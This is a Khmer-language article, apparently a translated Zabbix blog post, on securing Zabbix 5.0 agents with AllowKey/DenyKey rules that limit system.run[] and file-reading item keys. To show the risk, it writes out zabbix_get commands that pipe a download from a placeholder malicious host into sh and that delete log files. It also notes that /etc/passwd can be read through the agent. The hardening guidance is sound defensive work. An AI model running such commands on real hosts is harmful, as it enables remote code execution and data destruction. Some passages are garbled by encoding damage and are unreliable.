
αααααΈαααα αα·ααααααΈαααΆαααααααααΆαααααααΆααααΆαααααΆααααΆα
Tikhon Uskov, αα·ααααααα½ααααα αΌαααααΆ , Zabbix
αααα αΆαα»ααααα·ααΆααα·αααααα
Zabbix 5.0 ααΆααα»αααΆαααααΈαααα’αα»ααααΆαα±ααα’αααααααΎα±αααααααΎαα‘αΎαααΌααα»ααααα·ααΆααα αααα»ααααααααααααααααΎ Zabbix Agent αα·ααααα½ααααΆαααΆααααααα αΆααα ααΎαααααΎαααΆααααααΆααΈα ααααΆα.
ααΆααααααα’αα»ααααα·ααΆαααααααααααααα’ααααΎααααΆααααΆα ααΎαα ααααΈααΆααα·ααααααΆααααΆααααΆαα’αΆα ααααΎαααααααΆααα½αα ααα½ααααααα’αΆα ααΆααααααααααΆααα
- ααααΆααααΆαα’αΆα αααααΌαααααααΆαααααΎαααααΆααα’αα αα½αααΆααααααααΆααααααΆαα α¬ααααααΆααααα’αΆα ααΆααααααααααΆαα ααΈα―αααΆαααααααα ααΆαααααααα α―αααΆααααααα ααα» α―αααΆαααΆααααααααΆαα α¬α―αααΆααααααααααα
α§ααΆα ααα αααααααΎα§αααααααααΎααααΆαα zabbix_get α’αααα’αΆα α αΌαααααΎαααααΈα’αααααααΎααααΆαα αααααα α―αααΆαααΆααααααααΆααααα

ααΆαα αΌαααααΎαα·αααααααααααααΎα§αααααααααΎααααΆαα zabbix_get
α αααΆαα. αα·ααααααα’αΆα ααΆαααααΆααα»αααααΆααααααΆααααΆαααΆααα·αααα·α’αΆααα ααΎα―αααΆααααααααΌαααααΆα. ααα»ααααα§ααΆα αααα―αααΆα /etc/passwd/ α’αΆα α’αΆαααΆααααα’αααααααΎααααΆααααΆααα’ααα
- ααααΆααααΆαααα’αΆα ααααα·ααααα·ααΆααααααααΆαααα’αΆα ααΆααααααααααΆαααααααα α§ααΆα ααα αααααΉα *system.run[]** α’αα»ααααΆαα±ααα’αααααααα·ααααα·ααΆααααααααΆααΈα ααααΆαααΆαα½ααα ααΎααααΆαααααααΆα αα½αααΆααααΆαααααΎαααΆαααααααΈαααΈα ααα»α αααααΆααααα ααααα Zabbix αααααααα·ααααα·ααΆααααααααΆαα ααΎαααααααααΆααααΆααααααα
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- αα ααΎααΈαα»α ααααΆααααΆαααααΎαααΆαααΆαααααΆαααΎααααααααΆααα·αααα·ααΆ root ααααααααααα ααΎ Windows ααΆααααΎαααΆαααΆααααΆααααααΆαααααααα αα·αααΆαααΆαα αΌαααααΎααααααααα―αααΆαααααα·αααΆαααΆαααΉααααααΉαα ααΌα ααααα αΎα ααααα·αααΎααααΆαααΆαααααΆααααααΌαααΆαα½αααααΌαααΆαααααΎα‘αΎαα αααααααΆαααΆααααααααααΆααααΆα Zabbix αααααΆααααΈααΆαααα‘αΎα ααααΆααααΆαααΆααα·αααα·α αΌααα ααΆαααααααΈααααα ααααααααα―αααΆα αα·αα’αΆα ααααα·ααααα·αααα½α WMI α
αα αααα»ααααααα»ααααΆαααΆαααααα ααΎα RemoteCommands=0 α’αα»ααααΆαα±αααα·ααααααααααααααΎαα *system.run[]** αα·αααααΎαααΆαααααααΈαααΈα ααα»α αααααΆααααα ααααα ααα»αααααα·αααΆααα·ααΈααΆααααααα·αααΆαα αΌαααααΎα―αααΆαααΈαα½αα α’αα»ααααΆα α¬αα·αααααΈαα½αααααααααΌαααΆαααα‘αΎαααΆαα½αααααΆααααΆα α¬αααααααΆαααααΎααααΆαααααΆαααΆαααααααα»αααααααααα

αααααααΎαααΆαααΆαααααα EnableRemoteCommand αα αααα»ααααααα»ααααα Zabbix
AllowKey/DenyKey
Zabbix 5.0 αα½αααΆαααΆααααααΆααααΉαααΆαα αΌαααααΎαααααααΆαααΆαα’αα»ααααΆααααααα ααααααααααΌααααααΈα αα·ααααααΈαααα αααααΆααααΆαα’αα»ααααΆα αα·αααα·ααααααααααα ααΆαααααΆααααΆαα
αα αααα»α Zabbix 5.0 ααααΆααα α»α ααΆααα’αα αα½αααΆαα *system.run[]** ααααΌαααΆαααΎα α αΎααααααΎαααααααα ααΆααααααααααααΆααααΆαααααΈααΈαααααΌαααΆαααααααα
AllowKey= - ααΆααααα½ααα·αα·ααααααααΆαα’αα»ααααΆα;
DenyKey= - ααΆααααα½ααα·αα·αααα αΆαααΆαα;
αααβααΆβααααΌβαααααβαααααΉαβαααβααΆαβαααΆαααΆααααααβαααβααααΎβαα½α’ααααβααααΆ (*)α
ααααΆααα α»α AllowKey αα·α DenyKey α’αα»ααααΆαα±ααα’αααα’αα»ααααΆα α¬ααα·αααααααααααΈαα½αααααααα’ααααΎααααΆαααΆααααΆαααα½αα αα·αααΌα αααΆαααΆααααααααααααα ααΆαααααααααααααααα α ααα½ααααααΆαααΆαααααα AllowKey/DenyKey αα·αααααΌαααΆααααααααα αααα’αα»ααααΆαα±ααα’αααααααααααΆαα αααΆααααΌαα’αααΈαααααααΆααααΆαα’αΆα ααααΎααΆααα αααα»αααααααααααααααααΎααααααΆαααααΆααααα½ααα·αα·ααα - ααααΆααα α»α αααα’αΆα ααααα·ααααα·ααΆα αααααααΆααααααα½αααααααΌαααΆααααααααΎααα½ααΆααΈαααΆαααααΆααα
ααααΆααααα αααΆαα
α αααΆααααααΌαααΆααα·αα·αααααΆαααααΆααααααα½αααΆααααΌαααΆααααα αΌααα αααα»αα―αααΆαααααααα ααΆααααααααα ααααΆααα α»α ααααΌαααΆααααα½ααα·αα·ααααααααααα ααΆαα αααΆαααα»αααΆαααααα½αααααΌα α αΎααααΆαααΆαααααΉαααααΆαα»αα·ααααααααααΌαααααΆααΉαααααΌ ααΆααααΌαααΆαα’αα»ααααΆα α¬ααα·αααα αααααΆααααΈααα ααΆααααα½ααα·αα·αααα αααΆααααα α αΎαααααααα ααααα·αααααΌαααΆαα’αΎααΎα
ααΌα αααα ααααα·αααΎααΆαα»αα½αααααΌαααααΆααΉαα αααΆααα’αα»ααααΆα αα·αααα·ααα αααααααααααΉαα’αΆαααααααΎα αααΆαααα½αααΆαα»ααααα αααα»αα―αααΆαααααααα ααΆααααααααα

2 α αααΆαααααααααααΆαααααΆαααααΆαααΌα ααααΆ αα·ααααααΉααα½αα vfs.file.size[/tmp/file]
ααααΆααααααΆαααααΎααααΆααααααΆααα α»α AllowKey/DenyKeyα
- α αααΆαααα·αααααΆαα,
- α αααΆααααΌαα ,
- α αααΆααα αΆαααΆααα
α§ααΆα ααα ααααα·αααΎα’αααααααΌαααΆαα αΌαααααΎα―αααΆααα αααα»αααααΆααααΆαααα½α α’αααααααΌαααα’αα»ααααΆαα±ααα αΌαααααΎαα½αααΆααΆαα»ααα·α α αΎααααααΆααααααα·αααα’αααΈαααααααααααααα·ααααα·ααααα»αααΆαα’αα»ααααΆααααααΆααααααΎαα‘αΎαα ααααα·αααΎα αααΆααααα·αααααααΌαααΆαααααΎααΆααααΌα ααΆαα αΌααα ααΆααααααΉαααααΌαααΆαααα·αααα

ααααΆααααααΉαααααΌαα
ααααα·αααΎα’αααααααΌαααΆαα’αα»ααααΆαα±ααα§αααααααααΎααααΆααα ααα½α 2 ααααΎαααΆαααΆαααα *system.run[]** α αΎαα αααΆααααα·αααααΉαααααΌαααΆααααααΆααααΆαα»α α§αααααααααΎααααΆααααΉααα·αααααΌαααΆαααΆααα±ααααααΎαααΆααα ααΈαααααααααΆαααααΌαααΉααααααααααΌαααααΆααΉααααααΉαααΆαα½α α αΎαα αααΆαααααααααααΆααααΉαααααΌααα·αα’αΎααΎα

ααααΆαααα»α
ααααΆα
α αααΆααααΆααΌαααααΆα
ααααΆαααΊααΆαααααααααααΆαα’αααααααα½αα αα½α’ααααααααΆ (*) ααααΌαααΉαα ααα½ααα½α’ααααααΆαα½ααα ααΈααΆααααΆααααΆαααα½αα Metacharacters α’αΆα ααααΌαααΆαααααΎααΆαααα αααα»αααααααααααΉα αα·ααααα»ααααΆαααΆααααααα ααΆα§ααΆα ααα α’αααα’αΆα ααααααααΆαααΉαααΉαααΌααααΆαααΆααααααααΈαα½αααΆαα½αααΉαα’ααααα α αΎααααααΆαααααααΆαααααααααΆα’αααααααα½α.
αααΆαααΆααααααααααΌαααααααΌαααΆααα»αααααααααα»αααααααααΆααα [] α
system.run[*- αα·αβααααΉαααααΌαvfs.file*.txt]- αα·αβααααΉαααααΌαvfs.file.*[*]- ααααΌαα αΎαα
α§ααΆα αααααααΆαααααΎααααΆααα’αααααααα½αα
- αα αααα»αααααααααααΉααα·ααα αααα»ααααΆαααΆααααααα αααα»αααααΈααα αααα·αααααΌαααααΆααΉαααΌαααααααααααααΆααααα·αααΆααααΆαααΆαααααααα α αΆααααΆααααΈαααα»αααααΆααααααΎαααΆααααα αΆαααΆααΎαα ααααα½αααΆαααΆααααα ααααΆααααΆααααααααααααααΉα αα·ααααα»ααααΆαααΆααααααααΆααααΆαααα½αα
- ααααα·αααΎααααΆααα·αααααΎααααααααΆααααα ααααΆαα’αα»ααααΆαα±ααααααΆααα α»α ααΆααα’ααααααα·αααΆααααΆαααΆαααααα αα·αααα·αααααααΆααα α»α ααΆααα’αααααααΆααααΆαααΆαααααααααααΆααααααΆααα
- ααααα·αααΎααααααΌαααΆααααααααα α αΎααααΆαααΆααααααααααΌαααΆααααααΆααααΆα’αααααααα½α ααΆααΉαααααΌααααααΌαααααααααααααΆααΆαα½ααααΆαααΆααααααααΆαα½α α αΎαααΉααα·αααααΌαααααααααααααΆαααααααααΆααα αααααΊααΆααΉαααααΌαααΆαα’αα»ααααΆα α¬ααα·αααα

α αααΆαααααααΆααααΆαααααααααΆαααΆααααααα
- ααααα·αααΎαααααααΆααααΆαααΆααααααααΆαααααααααΎ αααΆαααΆααααααααααΌααααααααΆαααα αααα»αα―αααΆαααααααα ααΆααααααααα αααΆαααΆααααααααααΌααααααααΆααααΆαα½α’ααααααααΆα ααΆα αΆαααΆα ααααα»αααΆαααα·αααααααααα»αααααααααααΌαααΆαα αΌαααααΎα―αααΆαααΆαα½α α αΎααα·αααΌαα’αααΈααααααΆααααααααααα’αΆα ααααααα αααααα’αααααΆαα·αα»αααααααααααααΆ - αααααΆα αα·αααααΆααααΆαααΆααααααα

αααααααα·αααααααΆααααααααααΆαα½ααααΆαααΆαααααα
- ααααα·αααΎααααααΌαααΆααααααΆααααΆαα½ααααΆαααΆαααααα ααα»αααααααΆαααΆααααααααΊααααα α α·ααα αα·ααααααΆααααΆαα½α’ααααααααΆ ααααααααααααΆααααΆαααΆααααααααΉαααααΌαααΆααααααααΆαα α§ααΆα ααα ααααα·αααΎα’αααα αααα·αααΆαααα½αααααααΆαα’αααΈααΆααααα»ααα ααΎαααΈααΈααΌ α αΎααααααΆααααΆαα system.cpu.load[*] αα½αααααααΌαααΆααα·α αα»αααααα ααΆαααααααααΆααααΆαααΆααααααααΉααααα‘ααααααααααα»αααΆαααααα

α αααΆαααααααΆααααΆαααααααααΆαααΆαααααα
αααααα αααΆαα
ααΆααααααααΌα
- α
αααΆαααα½αα
ααα½ααα·αα’αΆα
ααααΆααααααΌααααα’αααααααΎααααΆααααΆααα α§ααΆα ααα α
αααΆααααααΆαααααΎα α¬α
αααΆααααααΆαα
α»αααααααααααααααααααααα·ααααααααΆααααΆαα α
αααΆαα AllowKey/DenyKey αα·ααααααΆααααααααΆαααΆααααααααΆααααααααα
- ααααααααΆαααΈα
- HostMetadataItem
- HostInterfaceItem
α αααΆαα. ααααα·αααΎα’αααααααααααααα·ααα αα ααααααααααΌαααΆααα½α Zabbix αα·ααααααααααααΆαα’αααΈααΌαα ααα»ααααααααα α¬ααααααΆααα αΌααα αααα»ααααααα 'αα·αβααΆαααα' ααααααΆαα’αααΈααΆαα αΆαααΆααααΎααΆαααααα·ααααα·ααΆααααααααΆααΈα ααααΆααααα·αααααΌαααΆααααα αΆααα αααα»αα―αααΆααααααα ααα»ααααΆααααΆααααα αααααΊαααααΆααα ααα»αααα»ααααα·ααΆα ααα»ααααα’αΆα ααααΎα±ααααΆαααΆααααα»αααααΆααααααΆαααααα α»α ααααα·αααΎααααααααααΆααα αΌααα αααα»αααααααααααα·αααΆαααααααααΆααα ααα»αααα½αα ααα½α.
- α’ααααα·ααα½αααΉαααα’ααααΎααααΆααααΆααααΆααααΆαα½ααααααΆααααααΆααα―αααΆαααααααα ααΆααααααααααΆααααα (α§ααΆα ααα ααΆαααααΆααα’αααααααα)α
α§αααααααααΎααααΆαααααααΆααααΆααααααααΆ
αααααΆααααΈαααααΎαα αααΆαα α’αααααααΌαααααΆααααΆα’αααΈαααΆααα’ααααααΌαααΆαααααααααΆαααααΉαααααΌαα
α’αααα’αΆα ααααΎαααααΎααα½ααααα»αα αααααααααΎαααΆααααΈα
- αααααααααααααα Zabbix α
- ααΆαααααααΆαα½α zabbix_agentd. ααααΆααααΆα Zabbix ααΆαα½ααααααΎα - ααααα»ααα (-p) αααα αΆαααΌαααααΆααα’αα (αααααααΌαααΆαα’αα»ααααΆαααΆαααααΆαααΎα) ααΎααααααααααΆααα α»α ααααα·αααααΌαααΆαα’αα»ααααΆααααααΆααααααα α αΎαααΆαα½αααΉααααααΎα - ααααα (-t) αααααΆααααα αΆαααΆααααΉααααα‘αα 'ααααΆαα»ααααα·αααΆαααα'α
- ααΆαααααααΆαα½α zabbix_get. α§αααααααααΎααααΆαα zabbix_get ααΆαα½αααΉααααααΎα -k αα·βαΉβαβαααα‘αααααα·α 'ZBX_NOTSUPPORTEDα αα·αααααΆαααααααα'α
α’αα»ααααΆα α¬ααα·ααα
α’αααα’αΆα ααα·αααααΆαα αΌαααααΎα―αααΆα αα·ααααααααααΆααα§ααΆα ααααααααααΎα§αααααααααΎααααΆαα zabbix_getααΆαα αΌαααααΎα―αααΆαααααΌαααΆαααα·αααα

**
α αααΆαα. ααααααβαααα»αβαααΆαααΆααααααβαα·αβααααΌαβααΆαβα’αΎααΎ.
αααα»αααααΈααα ααΆαα αΌαααααΎα―αααΆαααααααα’αΆα ααααΌαααΆαα’αα»ααααΆαααΆααααααααΌααααααα α§ααΆα ααα ααααα·αααΎ symlink ααΆααα ααααΆα

ααΆααααΌαααΆααααααα’αα»ααΆαααα±αααα·αα·αααααΎααααααΎααααααααααααΆααααΆαα’αα»ααααα αααΆαααααααΆααααααΆαα α αΎαααααααΌααα·αααΌαααΈααααααΆαααααΆαααα α ααααΈααΆαα αΆαααΆαααααααα
ΠΠΎΠΏΡΠΎΡΡΠΈΠΎΡΠ²Π΅ΡΡ
αααα½αααααα’ααα. α ααα»α’αααΈβααΆαβααΆβααααΌβαααα»αααααααΆαβαααβαααβαααβααΆαβααΆααΆβααααΆααβαααα½αβααααΌαβααΆαβααααΎαααΎαβααΎααααΈβαα·αααααΆβα’αααΈβα αααΆαα ααΆαβα’αα»ααααΆα αα·αβααΆαβα αΆαααΆαα? α ααα»α’αααΈααΆαααΆααΆαα·αα’αΆα ααααΎα§ααΆα ααα ααααααααααααΆααα Zabbix ααααΎ?
ααααΎααα. αααααΊααΆαααα αΆααααΎαααΆα regex α αΆααααΆααααΈααΆααααααΆααΆαααααΆααααΆααααα½αααα»ααααα α αΎαααΆαα·αα·αααα ααα½αααααααααα αααΎαα Regex ααΊααΆααααα·ααααα·ααΆαααααααααα½α α αΎαααΎααα·αα’αΆα αα·αα·αααααΎαααααααααΆααααΆααααΆααα·ααΈαααααΆαααα α’αααααααα½α - ααΆαααααααααΆαααα ααααΎαααΆαααΌααααΌααΆα αα·αααΆαααα.
αααα½αααααα’ααα. αα·ααα½ααααα αΌαα―αααΆααααα»αααααΆααα’αααααααααα?
ααααΎααα. ααΆααααα»αααΉα ααΆααααΎααααα·αα’αΆα αα αα½α αααααα»αααΆαααααααααΆαααααΆαααααα αααΆααααΉαααααΌαααΆαα’αα»αααα ααααα·αααΎα’αααααααααααααΆαα αααΆαααα ααΎα―αααΆαααααααα αααα»αααΌααααααα’αα»ααΆαααα±αααααααΌαα αααΆαα AllowKey/DenyKey ααΆααα’αααα αααα»αα―αααΆααα½ααααα αΌααα½α ααΈααααααα½αααΆααΆαα’ααααααααααααΆαα αα·ααα αα αα·ααα½αααΆααα―αααΆαααααααααα.
αααα½αααααα’ααα. αα αααα»α Zabbix 5.0 αααααΎα 'EnableRemoteCommands='ααΆααααΈα―αααΆαααααααα ααΆαααααααα α αΎαααΆααα AllowKey/DenyKey αα?
α ααααΎαα ααΆαβααΆβααΊβααααΉαααααΌα.
ααΌααα·αα·αααααΎα!
ααααα: www.habr.com
